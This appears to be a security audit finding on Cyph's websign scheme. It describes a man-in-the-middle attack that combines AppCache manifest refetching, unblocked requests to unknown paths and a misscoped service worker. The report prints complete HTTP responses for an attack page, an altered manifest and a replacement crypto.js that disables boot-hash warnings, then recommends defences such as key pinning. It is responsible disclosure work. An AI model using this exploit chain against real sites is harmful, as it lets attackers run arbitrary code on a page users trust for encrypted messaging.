There are multiple issues with the websign mechanism that, when combined, allow an attacker to completely bypass the websign scheme if he can deliver malicious code from https://www.cyph.im/.
Every time Cyph is loaded, the manifest is re-fetched over the network despite its caching headers. This behavior was observed in Chrome and Firefox Nightly. This allows an attacker to remove items, such as scripts required for websign to work, from the manifest.
Nothing prevents requests to nonexistent files from going through to the network. This means that a MitM attacker can use another website to load https://www.cyph.im/attack in an iframe, then replace the server’s 404 response for /attack
with his own response.
The service worker actually has no effect since its scope is /websign/
, but the document is loaded from /
. However, even if it did work, this attack should still work because the attacker can replace the service worker with a different one.
This can be exploited as follows:
Somehow cause a navigation to https://www.cyph.im/attack, e.g. using an iframe. The browser will send requests for that page - reply to each one with this:
HTTP/1.1 200 OK
Content-Type: text/html
Connection: keep-alive
<html manifest="websign/appcache.appcache">
<img src="websign/js/crypto.js">
<script>
navigator.serviceWorker.getRegistration('/websign/').then(function(reg){reg.unregister()})
setTimeout(function(){location.reload(true)}, 20000)
</script>
</html>
Whenever the manifest is requested, reply with this - note the missing js/crypto.js entry:
HTTP/1.1 200 OK
Server: nginx
Connection: keep-alive
CACHE MANIFEST
CACHE:
../
css/websign.css
js/keys.js
js/sha256.js
js/workerhelper.js
lib/nacl.js
appcache.appcache
manifest.json
serviceworker.js
NETWORK:
*
Whenever the file js/crypto.js
is requested, reply with this:
HTTP/1.1 200 OK
Server: nginx
Connection: keep-alive
if (!('crypto' in self) && 'msCrypto' in self) {
self['crypto'] = self['msCrypto'];
}
if (!(
'crypto' in self &&
'getRandomValues' in self['crypto'] &&
'Worker' in self &&
'history' in self &&
'pushState' in self['history'] &&
'replaceState' in self['history'] &&
'localStorage' in self
)) {
location.pathname = '/unsupportedbrowser';
}
if (!('subtle' in crypto) && 'webkitSubtle' in crypto) {
crypto.subtle = crypto['webkitSubtle'];
}
/* nuke warning stuff */
var realLocalStorage = localStorage;
window.__defineGetter__('localStorage', function(){
return {webSignBootHashWhitelist:'{'}
})
/* show that we succeeded */
setTimeout(function(){
var ifr = document.createElement('iframe');
document.body.appendChild(ifr);
ifr.outerHTML = '<iframe style="position:absolute;top:0px;left:0px;width:100%;height:100%;z-index:10000" src="https://html5sec.org/" width="100%" height="100%" border=0></iframe>';
},1000)
When /attack
is loaded for the first time, the new manifest hasn’t taken effect yet and a cached version of js/crypto.js
is loaded. After the location.reload(true) call, the page loads under the new manifest (and all future loads of the main Cyph page will do so as well), so js/crypto.js
isn’t cached through a manifest anymore, it’s just in the normal browser cache. Because location.reload(true) bypasses the browser cache, a new copy of js/crypto.js
is loaded over the network.
Now, when the user navigates to https://www.cyph.im/ for the next time, js/crypto.js
isn’t cached anywhere anymore and is therefore reloaded over the network, allowing the attacker to run arbitrary JS code on the websign page.
Straightforward defenses against these issues are: Move all the websign code into one big standalone HTML file, thereby preventing attacks that alter the manifest (it does not seem possible to alter the manifest in such a way that the main page isn’t cached anymore). Move the service worker into the root directory, thereby changing its scope to /
. Block requests to unknown resources in the service worker.
However, these fixes / mitigations would not change that the websign code completely relies on features intended to provide better performance and availability for security purposes. This should be avoided if possible because new features might destroy the security provided by these mechanisms and because the browser might alter its behavior for performance reasons (e.g. by deleting cached data because the cache is full).
It is recommended to rely on a mechanism designed for security as primary defense against attacks. For example, it would be possible to rotate the server’s private SSL key daily or more often while using Public Key Pinning, locking the server and any potential attackers out of the https://www.cyph.im/ origin. (Browsers may delete pins after some time - the RFC suggests 60 days -, so it would be a good idea to make a dummy request every time Cyph is loaded to re-set the pin if it expired.) Most Certificate Authorities charge for every new certificate, but after Let’s Encrypt has launched in September, it should be possible to automatically obtain new certificates for free.